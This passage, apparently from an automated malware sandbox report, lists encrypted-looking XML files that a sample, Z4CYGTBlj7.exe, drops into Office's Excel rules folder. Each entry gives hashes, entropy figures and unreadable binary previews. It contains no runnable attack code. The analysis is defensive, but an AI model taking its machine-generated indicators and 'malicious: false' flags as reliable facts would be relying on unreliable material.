.<["..J....2..P</.>...ZSzHK..V.....4...Oy.YF....wq@X.3.&P:.....Xk......r........A.6L..."..,..A..\.>M.....J=...fk.A....rWS,.B...~+.8....5..#...8..=I%4c+r.SU..Bz/_W.U[.Y..=..9.P..Sw..._O'

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700151v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.884919626335398
Encrypted:	false
SSDEEP:	24:YjpaHIe5lzKiHnMmvjgxyxEdDoDQeq251Id+NHg04ChWG8SC3UzqWfKsbD:+aHrTnMeBxEdDoDQp251E8gl1ufKmD
MD5:	1675D6963009E24BCDB86A4796C4B1DE
SHA1:	8963EC0738C0AB33319AF1F88270C819F617D1B6
SHA-256:	A7BE534C2A095DD3D51D9BE891111091A9DACD02F1F59248AB6C7D12352EC435
SHA-512:	5A87431992105C1D4D442D2C25EA27BAF29A48EDB9CD4626BB1A7473295B2DB9F280BA9D62D9E0F728E7C56176DA39C865D80986E5A1D031EA09C47F4DB64A16
Malicious:	false
Preview:	<?xml....+.uc..O..x.....~a.`.....6..e......._.....e.]x6.U...........CU...#.9.F.......O..S$..&IUTV.-.......l......!......)....OP.r_\......W0.NYLL.x..Xe..jf<ub.......Sw.1[.......THy.....IG..>[Q.;...q<k...7Y...d......j...I.R..@..A\....H%.e&3..$.K.@.......u...:..R.G0....Kex\|.\|K.=2..hP.%3..J.\.t..1.b.....p=..V(...z....#..}(S#.......i...MU...s...:T.W.....c..I...Y...he..IK...K.....mv.....)..ApG(...+<b'9;..e.. }R.}.av.%...G...Ha....u6W^.<<.>.T.e.:CK!.B/.Yv[(X.,.C'.'$.....F2...-_...%.@.PrD....H...m...X.9...NR....H...)'....4-....o'.'qi%D. 0...j.>...].W.a..P.n4+U%...n?...&:.]..2........4.I6..b.Ra...M.`.."z..v..r....h.O.R.~.L..h....T+....I..f.TW.P.\|'....g.).."Z..m2%......x......m=G.=.@.N..=.F.#l..U^...B_+.[......W#\....Q......+z...I...Rb.....h...B'..k!4.A...4...E.......X...=..,?.t#}.j..P.v.RH...D....6.E.~x..q.....~6sJ...^.lZC...^...wF.....Z..'..".".j..p'...{G.w.........7 d.....5.b.,=..M[..\|S!..O.m....Dt.0.......%Tg._..ZH..8.vr..k..Xt..n.'/.]g.y..j.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700200v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1689
Entropy (8bit):	7.883199126574225
Encrypted:	false
SSDEEP:	24:MHuzE60IQZ/JBG0eB8Eoz9fFPEEDW1bWcUZBFHBX7F073R1ZV8LLPXa/O9IZnbWs:St/MKnZWh4LBLO9V8L7XpCBCmD
MD5:	083D5DD789098E62B91BB6151D8093E7
SHA1:	016F844FCCBA3259A41EA724D28FF372582C9ACF
SHA-256:	87D3B935B2F69E71829D9FBE1F27ED7C81B98D676077907F4069C5B0EA95779B
SHA-512:	30EFACB6E935335FFD646073CF7EBA927A7C9A22D1765CC1FB5F30AC776444A319813DF0B013D2ED9A46D482D4F4CE1A16A20ACF8323CE4B0CADEA4E6DE0E28E
Malicious:	false
Preview:	<?xml$DO...E.....y...m.....$......~E..cks..6...%.C1r.^..J~.w.Ux^6_.Nc.5.^...2cG6......v"G.d.%...4~..U....V.T....\|.P..t..<..y.....l......_.D..W.B..R.~u.wb\...Z.t._k.0.)..4.5.q...Gf....W.w.......3.k.........P..........(p.U}n>.....F..x..{]@.re.}... .t.+.H.....Wa....kb....F..lD9.N......#....J........!y..15{....z.K..r.....4...zUk.DR5R7.b....p.\.5j...0.....m..:..e..l.1...k^=.(&I.P...U...G..=q.. ....VM.4.X5P.....M..n..Qo....h..~......c..W...$.5<...u..A.....Z.F.........G..%..g?......h.#s9.....+..N...,.-.....D...\....?...?c.......H....7U..R\8.....<.D\|ZX.k.c.....\.....U....W..:wL\|3.....v~.e..EF\`...:.m.\.E..]<.......C..O ...W..>/I...C8..,KAe;......q...s...Z....l.("xD..>..R.GB....2.xB..<\....H........J_..p.v...._..(..bk^7.........Q.P8o(./..u.a[h.....0..(..I.W....a...W...5@.Q.>...%......HZ(..%g..o.O..9...P"a(4.8..3..b.7n.q..8..`..T.....%.K........UQ aN.;...-...H..R.Y.....m......<0\..r\|X6T....O.d.b%..=...G..9....,...(&O95CZs.H.'.1..E\Q.h&....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700201v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1726
Entropy (8bit):	7.864466725576806
Encrypted:	false
SSDEEP:	48:wfMRBBbkFC0O9UCkknORram0sMqXBaw1O0TWT3SymD:wfMxAFCT9mjtawu3Sy+
MD5:	9EC0D66702BC137090DC630FF173FCE2
SHA1:	D02433DD869EC5DC41E13C8532039222DC6FCEFF
SHA-256:	CAE0F6189A09DA275EA0A1F4F3349980FE57E362A43D43EFE240A2E2092562DD
SHA-512:	F687251FE664E0CA9ADD01372BDA7783F62472BE36157882789DC70B92A0AB15483FA92D45A47F9D59CE142DCF3733D207306A8A41AABDBADFDC371A283BEE88
Malicious:	false
Preview:	<?xmlM.....8.H).. .[....\|..A8\G...A...Xax.. ...Q..?v83.4S...Rq......m....U{.......JR.L...bD..;3t..._:.jq;>...........V.p'..64....\|..,.2..L{R.G4.0..D....:.x.o.c ...g.0w.Q..:...3...~..\b...T...5:c...F..F.2...>.+.Ti..v........?K$.\|.....mS..6.zM...#.q.....U4\ .....d.y.aE.3Lk......K..?s1J.. .8m.sp.hhN.....i.j.../]e.J...+gI.O.3(,..t..x.r0.K..3..~.oF}Q......(.K..\|...T.....('...LV.I}'..'......L...8...0.b..L..H.=.f.....q..x.$.X!...{V..L..s.......i.....c.....-.n....?I.!......A<.>.K...B......1...2..~.;...h........I..~....o.....z..........A....:... tkW..._ .3.>.Og!.@..f.$.z7..).^.PW..3...........Tf.M.s.V..t.V0.....I.h![E.oC..G.7/....U2..VJZ+.W.}.rElM5.9.....5....Z:L.0...*G..H.IF...Cta.nn..4.<..C.b.\|.!/.V.....#....#..%..d.o..i.[.i.'..[.V...e..R\|.T1pTa.J.o........'Od.2p...&#H:....>.BpvhN...z... vO..<..........y......Fccg=W......%:./.v...+.pp.. ...!.L.. 6}.....u..(...ua....0c..J.....0@..`.M.0.H...A.e.....A.L[Q.I.O......+..cH...../.(.F. ..Hs.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700250v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1691
Entropy (8bit):	7.901446035005727
Encrypted:	false
SSDEEP:	48:ibRNvAi1Ua8HpnUfPLtgpxn0cX1GZTvt9UyXmD:ivIe/naF0auT12A+
MD5:	8DC557D013AB3975375FED7F8F286EF1
SHA1:	ED4D323158333FFD453113A79FFFCF502BE936FA
SHA-256:	C32A7F6247437B959E48F788D49CFC4F2ED4345CA8E0A5B052BBFAF23ECBACF9
SHA-512:	6117E7D73FA413682682F98349EFB26B73FE50744DFC69FCF52ED48AA7B77CE2CC0AEE2402F9549C9F2D19409A10D6DDA14852AFC2DC3C9FD055A760E8F54207
Malicious:	false
Preview:	<?xmly...x..X..lSX.#.U..pJ.Q6.@.<.@../+.z..yg..?&.D.>4Ci.uZ.t....m.N..T..9.......5N..t.F..+M....~.4(^......5..US.$B..u...H..J.?.....J..7Mw...^ .B.)...l.jD....3z..M...H.;X.-.I..V.DA..4..{A.<z.6....._....?.n.3..i..u.XeW.1F.A.%..g..Y.T......3........9.{......d}:K.Fp..&xm...w.5.s.._2.b')T...\Jho^......6.q-:...._F....\|....o..A...@...w}I...p.....0.C..y\..........P..E....#...-......HqH..j..%.J.)A.s-$.m..5/....\|...8#.~.n..S...C...C.@.....z...F%.r.;N...Bx\...#..'..#;....B....z.V..9h..:.....3b...!......_....p+.=.......'..Hu.Q.A...,.........T.}w.C$....n.a2..I........2.......e.....U.[.J.f..bj.H....gG...t.J.IN.....Z.r..h+...._..:.BTO/.U.r.}...4..-v#"..x....[....q...-..K.. .>+....2..,. 4TmUe....v$......;t..V.c@ ...}..1S`...^..S.qoL?t..?.rC.n.........."..$...C...[EO..l~.'.....0`.........UE.....T.w.%.....s.tu.6..%..}.......,..{.....v.4.....a.(}.c.+..IH..w3.B.t`..W.Uh....b.Y4{G.c\|......V.{.....Y.....W08....(.+rLKi..T.C"..P.\k......2q;.......j1k..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700251v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1728
Entropy (8bit):	7.895316249709561
Encrypted:	false
SSDEEP:	48:C2gVjidPXp/HYQLmZXdU47YfTlbPIUaxV83mD:0EBvR47ElTPsu3+
MD5:	084B18DD5D3B107F758823B98E1AF3B4
SHA1:	04FF1C2E7FEA56C999E77BA72089EB48B3463222
SHA-256:	32FA3F37EE58BFD4AECCA57D36EB3712638C0B3C5A980AB087E7322B830ECF60
SHA-512:	3492897DF9BF19FA8196A3279F95DCE243F1A824F4EFF099C3F37668582C33146318E6F77BAF1F4A23FEE876A46D708D5BDF5433FBE4BCA0009CA64F6E282975
Malicious:	false
Preview:	<?xml.{x3...3.....>..`5..e...q..QS.k..q....".c(.:?..meGH.\_)/....)7=\|.C?.$....~Z.B..0..).9.8BM...pw.%d......0 s.....Z#.....@.I@...wx)DC.y.s..#.....?0...Y.....Q9'.}(.:..e.xx.z.^>e.W...le.D[T.W....N....D.y.\E\|(...~F.E..~....._.v<.].A...f....L..q.G....CV.X.y-m0A...N...&BA]....ALm.f.....i.Y..(..4......x;.J..b..Qq.O.........H.z...2.....g..U..#Jt....,3.....Z).../......A.A\|...g.(..,...I......{t.=.....R..N.Tm=N.>K.d..%..?.P........w...a......z.._..$'=..e.............%...3..6.j]PW.LekI.}...=....l.2..0.$......].q...H.W..Y....NH. 5E.[.6"...:.Ct..K;O....j.m......R... &kW(..TZT.,.~....~.dg...w.kN.....A.%..]..8.gy..).d(.......(.5{..or4....\|..b....$_.)O...F..#b)&.<1..,..E. .J.J..~m.}.[f.r....!.a.D...}.B. j}ts:$.^..u..GK.my9r.......SV.V...H..$.<.B.!\|.#...x.....y..=j#K..Y.O..\w...........NN..f........<C.h.D._..Q..[.4....A..cf.$.UU..#...G..or...7S....%...:..-...3.t...7..."......x.....X....*.K........e....%>..n......k...^9},.1\,..).Al...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70025v2.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	3225
Entropy (8bit):	7.937649394646581
Encrypted:	false
SSDEEP:	48:TsMRM5rNbcfFF+tbYe2uu4k60mHKJKVyrDcwIYd7bdvJytr2qaH3T93moWQV8cPe:TSNbeUkv+yrDcwT1pIEnhgQV+58Gg+
MD5:	7C51646D039B9CE7220235F2E2D406EC
SHA1:	76F01545347770001EE2F6D54E7013A6FD3E5AAD
SHA-256:	3F62156536C05C7BC5C3CB40E85F5D6F44179272963335EF0DF2AC854F89E1F6
SHA-512:	1B652A1E7C3C554D564AB1EFA3E832649444D7B89D066C919EE1938D3E50EA6911DCA30869AAFA54FBE9E88DAB85AEC28A2ABFAEF5EB017FDFDA0FC5F2820CE2
Malicious:	false
Preview:	<?xml&.7..'=.[..6fvt..!..x...f..%.F.F.............v.6_...%n.~:.p...n-@i..h3..i}C......$C>..e.~Q.8.7.qLR......%.n.m9.i..y..f..#.w.v...(/G...,5...@....hl....f.S...h...%.2...P...l..3.\W4D.....]..X.Z.....o....H.>...f..A...\.LX.q.2..\|O.....9...B.$9..3R.....D.$..D.\..Y....;C.....[.<>.uF......bN#.7_...).;S..y&lt..zr.Y..c....pP;...l...L...[V.....l`...o....~..f}R...0.L&.e..P]?..."..l......&....#Ye.a..>..:.F..`.`+...S.AS..+.........M.5.T...n..9...r_D.K.5..f....d.qB..P.@,o0.A.Y...DD....\..pu...`...c............k%1..!O[.E.....ud...Q...n....O..v.G..Y/NU$...&......O.4\...V.....A."..e.6...z.........Nr..50.T.'..ch%..y..F@Q....A.)..S....$,...Q-.<.......9.6.a):cR.w.O...~...'yo...Z.^y...t.1.B..l.T1....Ur.3.\..#.V..w...-..P.c.I6..k/.L....}3.........b....?...b..5.K.y..,... G..w...Jz.W.4.:.9."k..E3.b..a...!N.p..0...m......mq.f..zV..h.....e..P..'V)R%.[..`.S..c...B7..o[......K.7.U".@;.<:m.Nl../%,...s.q......w....G.c....!.b.......&.T.....2..G..;

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70027v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	7.750699722404871
Encrypted:	false
SSDEEP:	12:80sKED9GIg7nVuQiGps4GvaC7l5xxSKzAv511ui0n4TpRNgxQQqHYhE8Qscii9a:t37VuQBuwKUh1a4Tp63qHNBsbD
MD5:	C7274D1E6950AEA5701A98797F006C9C
SHA1:	733C6A3F4DD27BD1084F7DEE66B820C6C7D65135
SHA-256:	D9D5E565EBB7694AA73AB2AFA20E1ACCA6D54B2FDFFE23477FDE9E60D562D33D
SHA-512:	01DDC617A8FDF44FE9F194A6CF78487CC9F130B6EEC92F84AED0FFAEAA562C8175F0D3C52B037E99A165486B0FAC8BD0E75CD1708007CC0FCE729E10F4116345
Malicious:	false
Preview:	<?xml......U;.]...D...F..j..d..n..R.Si....Mi1...J..1{.>S.f.+...?..#b....<..jy)iYd..,..,@}b....6...H.....h..x?...d.(.PV.i.~...&..P....$...Ud..6F.#.c...\.....].L"m..).. ...D.._.M...U-U...Vcr3v.WK.h..i...X./.3e...w...8..9..g..wk.)....}2..^......L^..2..HB .U....h.......m.c..%=..!......8,...S..V..-...4..^.....x.&a..a.zp_.9L.y.lP.B.\|..r.\|.\5.E^G......6.%yQ41<3L~=..j....C.q..a..:vF..j.+..2&t\..3......+.b..~...'..".....I........t.I.1r.........E...Q...'.4U......(..\|...U.2..9..).z;.e.....9.1.X.K.Xw.dQ...%I.oH..7E....M..[.HF.[..M4BW...X%}......o*~......1[]b....F..t..S=..a..U...3.._..=.0..y=.CN....c....wL.=.M.2`ZW\.R.._..%qt7...+...S..ic.o.....p.......L....$...u.S....WZ C...f...B.%.I..2...H...b. E.>i....O.pC..}a..u...\|"8%..F.S8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70028v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	7.827790489720011
Encrypted:	false
SSDEEP:	24:IZJ0kHJXrpD5xQiBYsJRScTFk60fnx5ZjYkW7asIbu8ZPdsbD:IZK4drF5WiBYJ60fnN07aBbugPdmD
MD5:	F0443206999B57C31DB64F6FAE5BBCB7
SHA1:	EF5748D99C4C4A8EB108106761148EAC08D57BBF
SHA-256:	8DE118C3C69F622FC377F8A2A714A1B1DF4654BF3C46FC9430BA86186DF9E77E
SHA-512:	8A385476D6FF00DFBD0C8EAF34B1795C7058B6394C04FB1BD5BBF37DA1B3E315B3512B133D4F4BB3FF50CB71524F5BBF9E501829FB8FADD696F65454A4DB33F0
Malicious:	false
Preview:	<?xmlC..\|.kc,.o..5A.S..Cy.+3]...3.4...............C/..Q.$.....g..0...J.>.N.\|...7.^.@d.N..._..(h[.zu..o.;.....+>..P.....a/..^.0k4...jW7...........Kd5,..C.".<.....`..+@87.p]...[.:N.......1E....A..Y....^.......L.T..I[%..w.[....hE".[.B.q..(U..z.E.4.C...g.:.......q.H..-Ry..F...S..-..(..=...?...Pl...s...^SW..8.$T...I..5{..zt..~................]...%.{a...M.*./.../.#.j..t.L.y..c..\|..\T.h....C.../~.\.u....F...,...(Dhs...X1.....~..VR.8..%v...L..:q.$.W....%.O......6.n.......N..\.......[..2...P..t...;R..J..&.P.t6.5N..s.k..... ..I....Vl..m.6...`....K.=..LF..1B.\.Z.'?....S...l.E+.=2O......G..My.l.M.ons.^w.m'.]h.z....M3..%.,...t.../.hm...JA....t.....&k.O......\|Uy$.'...'....%w.y.'c...N.T.,-......S......d......OJ....D-.. .{.]....Sh.Gz..a>.g-vm8.../MA...'>~k7x..v...g.....5..[.....\|m.[j_pt._.........db......S+-.....d.._IC..].h....2.pEy3c.......E.Y.6.(Q...CZ.................LT.....k.....;.p^..4.....%.I..9..d.zbW...m\....C.+v@.a.o.....cu........m.....@.T.).

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70029v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1004
Entropy (8bit):	7.76067696311605
Encrypted:	false
SSDEEP:	24:oczHmq990jfyYI30itf2dGSbtf6geQDXqZ5sx6uhD56XA29E6EDsbD:/71L0jfJ+2dGaf6Ja6zsxZSCfDmD
MD5:	389E839302EB29EF6B101C027EC21DE4
SHA1:	EA66ADD076032DEFBC440567634B213A5C862297
SHA-256:	5AF47BDBC77AC51A4EDB068C6B5C37FD1C9A9E096893BE55190AF8D99A07A2F9
SHA-512:	F1D141D453B11D61E0B1951193A80CA1F5F4B12344C11E0A324DA882C5A953604B29D4C45707DB249E75F5699CD01D05870F959F0AB4FBDD883120CAE5A0093B
Malicious:	false
Preview:	<?xml.?NuS.....[.=+.....{..0Y.. ...V......u..'4x.y`..q..H...g..}.....)...=...S_fw.(.X.M..]..O.u:{.p4._0..}.s..2...{y....Eq.h.}...7.o}.GE..b.~D..l..26.N^.8.A..W..T...X...+....=......b;...w_.....<.}..`#[3&.d..yM4..%.g.......?...l.b.`.......X..w%.3..08.........1....I...d2..o../..\r.e...o......>.0.^..D.?k..XQ.#.....&..K%p....}.+``.......N...'ETU`....(...+..s0.Q.c#.l[./.g".".U..U...a..)9m.8..Ud.<i..I...L......~oA....{..L.%,.........GwI...Kd.....qA!.X...c~....)fn...K...[?.jG:....q .J (...y..u..zH....h.:..V1g...L...Z_..[.IZ.-....p.5L.!...).....v.$.6<.\?.V...{..6.s..X..=...S.h.ZE.\|N.Y...b)E~..I.:.f....L..S.%..S.#.*G.M..gB@...m/..7.nxB.N.G.....k.#..y....1..f..G.}L...u.".>u..x1m...A`.Lm.....,`.4...#.I[.<4.6;......Mz..k\.,.ijsc...N...y..CC~...#..i._.k..B.p.0.......?..3..M.3\|...XV...N%+..(:..../..?Z...Ny..2.4T.......).......a..d.!.d..6....,........oIz..V......9..\....o.P/..R-C8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700300v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.890179629778701
Encrypted:	false
SSDEEP:	48:TcoOoI6W0seGRbBGSFHBpO0xje/NF6WV2dbrmD:Tco5I1VHB0it+
MD5:	52A9795234932F72C45C46359999F75B
SHA1:	7779AC7FDAFC97A6D9A01EC52F1641F7C01F3096
SHA-256:	A0F268BEDEE434425C7237897A3F3EAA823A36D218743FC94BE10F8BCA7F1978
SHA-512:	77DE9945B23B1FC3597D483386A25D93463D8CC1627E4C6F0B29571109B27EFDEC1CE830D60B4BDB36F9E8FE2294CAAFDEB2DC325158DD45F5E928C99E23CA2A
Malicious:	false
Preview:	<?xml.....=.W......je.S{...P....tj..;....1...x..Wq....,.'_..$.<.s-...>.m....U..~..<...`^qo.=v.b........yS...vX;..b..8)z.2........'Q.....9..W...7UUa.wE..2:..y.RW[n.f......{.r.\.Z.R0.....C.$...ti.....&.}k).V.....^mF.tl...!W......IG!/...a.Z..p$.(3r.y.;....k.9!.!...<.5.i...$O2.....T5.G.v.....hx....a...'m....PD....8..p...=E.....*.~...R..G..%{...p<]..... ..t.~,.(.....#7.....\|..HG\|..9....GE...b......p..$./.. ..........R..}.b.....J:.c....y.LK...a...6.8F.f..N.U.o5_>...\p.g...hD..S..9p....kv...q...(..G...b....r.ze..D.G....../6....]7} ......7....~.Z[n....B3..6.Y.8...8.bk.....N.......i....c...+!.]?.O.{>f."\|0.f.q.D....#.....`..'Buo2..Z .}G.V .U.s......F.fx.,.I...\.>......b.vV;$w..z.S.....d.,.......?!^.Qof}nL...xB#=.xe.z.........7.6-..S...q.Y..k...Cqq...0#tB>...l=F._&..A.\|.5Tx..hz....D.y>Jt./`.....!.l+......w.\.>B.%.>....c.....$.A\|.[.O.b.N...RAE..k_...w{..3.>n...#....Wi...Ob'9'Zt:^.....yq...).}.\\Yd.@.0+g..t.8;G"....L$..._..#.F.7.`&..N..&...#f:.......X..w.9F.;

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700301v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.892466346075669
Encrypted:	false
SSDEEP:	24:IMrgU0hNZeIki42SJ5BVKyMhSBDMelNjTPT+EVbjj5HGzGIhYsgXxAfojkeuxEKa:YpZVc5BgyMAtLV8rhYsggSklEyLgWmD
MD5:	A1D936BFB262CCCDDF9D828A4B5E1773
SHA1:	94A5A284C95513721DA900E4F4E84B18FE82F516
SHA-256:	0FB64904BA9BDF471201AA856D02202507E92BA5A2236F80B70BB28A4E4893FC
SHA-512:	DB6060113CDAD128B9D7DD2C10AA530005C1611B7B2585E9ED81F83E96EC35BACA62247DF7E29D63728B285B884041177ACC218567B4B3B467385DCF2E0A7A25
Malicious:	false
Preview:	<?xml5=H.1zl.m-!-4....Z......[qg..cn.....Z.M.c@....Gz..}N5..3.W.s....x...q..=...nD.........S..."A.=..........f.w....#%.......e.Z..7>.u.lm.rf.........3......]TPt..C.D....wxi...hP.r.g.&..\.<.[AC..m.6.@..&...)j..%r.G.w...Q..;..j..[..@wSam..)Yx?MV....[UE.(...G.$G...+.r..6..V..>2.x...B..`.^.#?.......Z.AT.q.e;%.S....m.5..ZG.wbb.1.....,.A1.C0....g.gd.ca..\..G&y..<a.kM..P.....J.>..b..TO.3.~...P....Z.B.W......zXZ...}X....m.`.+.lG..J.9KJ.sr.......3.....S.1V3...n....y....k..x....8.=.....+.3.Nt$...-..Q......b..'....r[r..x..v...*..p.y.Sj3;...8.urB...>q..E.\....K...w>k\.a_.m.!.....z..[..).......'..F.cf.......J!c..e....X...:.S..<.su....S......\|T)..^`....!....w0.y.1~..6...e.&6$..`Q........:2....D\9b........g....{.V'.....P.hc.....@.....$._..;.../vp.v..J...@m....M...o{...K.~..9u:..3......\....t.S8...h.:..m..Z..D...0......7.../..j...a..a.5.mFrODu..I[....[lY.\|i....@.K.]..Zg..Z.g...../Q..B.6...(...(.O."...J........L..u..c.....5_..U....(..y.......\.......C...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70030v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	771
Entropy (8bit):	7.723872305415235
Encrypted:	false
SSDEEP:	12:VoTOgsrWxoKO25kgC6+lenfrrXEARdJPxrYrcqiq9xWcOV1hRYxjiUJ7ZBQsciik:WKWxdln+lA6iq9xW1l2MUNZmsbD
MD5:	0F37C366240C227EE8B4639CACAE4582
SHA1:	8C4C6C03DA88C6CA17227D67B8B9C23A005BB746
SHA-256:	638A0354E5161DBCF16511D04A8FBDC9A57047D0D36F2FFC95533F709ADA1685
SHA-512:	4B45F463553933EF50549CDEE40A5C835A0AB317930A6FFCE9143F14A573A0AE3CA607B6AF40C658072438BE5622078C407A066AAD1C18A83733B1C273221097
Malicious:	false
Preview:	<?xml.$..i. ..K.%<x...Xn..X.,I....n..._`....>-/,GVN\|....y.ao~.H>....>.Z...\.U.9...LZ.?..H.....XEU...hS...+.bO]. .U....(..^)...o}s3..6Z.....q.&CX.g\|.H.\y..?.>,..jgRY.K....:...E...Ear....Y...x.k..<W....p.mX....T9...72b.5.][.G.h.3.w...M..\|...C........!..S\....)....G.a.Y.-.4.]-...E..g..$.....#VTz.......B.s.........."Q..A /.j^ W....=.A..H.E.tYp.../;......";.3!.T..&.1....>t..L..xA..../j<...:..GY.j.....Qa7[.....$..HaR.u._..-.&....f..]y.....P(b.+~..4....Q;X.fz.. B.ETJv..o.]....G.7.....5-...-.W............S\|"..:i.IK..N.......kG...e..9...9...6M.xi.(W...Wd.>../.Z@.B....i.>I...@..8G..I.#CQ.O..K..=H....@....j......'..V..K*uoVu..})\:6...&c.&z...,.....H..m.{.5\|.z8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70031v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	774
Entropy (8bit):	7.683187551056989
Encrypted:	false
SSDEEP:	24:3fdviS0jhkVG+oMre7jSf5y9m7X36DKsbD:3FvKk7U7G5y9IdmD
MD5:	E31019CD32D5ACD9CB98ED2F3FE2DC2B
SHA1:	BE5B8DC073072B6266D9EBBC85FDD33EF559C8BB
SHA-256:	976EAF0E9D5C4180254D6143C67F6BD177B75D530AC0538B3C1176E4173CEBDA
SHA-512:	F53423E451B2D2D6BD96B33E15E7C7E5EA0C3BD2E2D00F2261CDE1A5E8D0C0FD520E2CC2751625584056C950DEE5FAB7D057EAE950FCA94293E57C3795989A75
Malicious:	false
Preview:	<?xml.=.....0._.9el..".x.h....u...P...\....1..gd.....a;..7.../......'..;......p.eA{..}EM]....w...sR..)Y.+.:HXK..t.!...V...^.Q...R.ap..o.^...{...'..k%7.x.....O@....r.....-..[.f..i...Q...J.....8....../..p.D.....Dx.&..^..s....yP.`...r...m....-M-........W...9vg...C...::......+..so2F.M.\|....RL".}.....+.m..{ .H5..)...]...C.D3..k...c.\|......a.v.l..u...3...d.....q@M.$....eu..z....f.z8Ds....z.%I...$...Xy...&C.s.....B..f.Y...a..+@.}0~.....^q/.....}.4J..?..6Q6W.t..x..z.U......L..q.=u.!.-.4.....:.....Y........W.3W..-X.5......YN4.D.......`....4.SsJ....&.....a]..w~...........s......V../.)..z..{...`...._6.p]hs....5.B.N......8MW....?..2...%W..Y`..s'.....,.x.g.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700350v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.908250713985473
Encrypted:	false
SSDEEP:	48:td+bKZS4V4Hy6ZBlAQAu/qS35kRlQQPqBzimD:Xo4VOZkxuj35NNi+
MD5:	D6D042FB50CA24BA04345E41BDE9E5A6
SHA1:	0B6DD40AA0CAFF5BD7E6971B97298B0B6A35373A
SHA-256:	FB481A72166450E8819D92E049C7E0CCB5467FD2983288DAE27AA24B55F89B09
SHA-512:	F365D31231C8E4E91DAA4E405638890140739D94F82837210586274E2DD0BD1015F1783A9E5294C8D3DA39E27F39D89F904C6F2373B09FCE9E002DBB0D92B804
Malicious:	false
Preview:	<?xmlfd.).,......z.y..=........A.....j....z..m .`..7.E.pXV.-G.Rka.\|......." .&.c.3.j3.........P.AS.0..'.F...xv.(.fe.....d....N.I......g.~Yo.Z9.=.P.."C.~x~..ch...7..z..,..&1...#?\8z....k.6'.i...;+cr...r.C...L...T.1..a.b&#,E.7......g8s.8..6.C...O]n..M._nd;.!H.....3......t.5.......V.._..:n..9..^ @M...YM.. ><kx.F....s.....k......I..T0.&g?K..+...+..F_..Du.Zl.?z.%Lf.?...x{....Gt.....x...Fp...j.>...=.....S%8....Sg....b.H.....$.T9..A.a.K.S.d..{.T..d.;2x.M....vW.>..m.W.@..mr.Z.E...f...K .......{X.-.jc....... ..].8O......'Uh......O.+.)h..j...N+......3..z.a.%f&}.~`3...{.b...bI..S.[.......ij$}-0r...(.zZ'..u...,.s..6..L..<(..c..]C..W.`..J^...e.k..WH...C.l...E`.Y...5..._..zRu.!.S..Nb....Mp.o.9...l...(......#m,..]..kQ`..j...fO0\J!... i>.'........_!.W.<.`a.+..,/..G..Q{.w.wR4.K...f...d..V6......{c..#...1.Zz.IU...s....c...}....$..B..^...n.E..D.3....^AP.u.......zJ..bwM.<..s.s...aB!f..].}.S...7.0T.)v.M..B].T..xL@....E....RX......C#.^+...B

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700351v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.875362554890273
Encrypted:	false
SSDEEP:	48:j1k1iZCE0FT97+uMpvItUdgHW5Trk3Sk6Ere1YmD:jCgj0FTp+JItigHW53ky+e1Y+
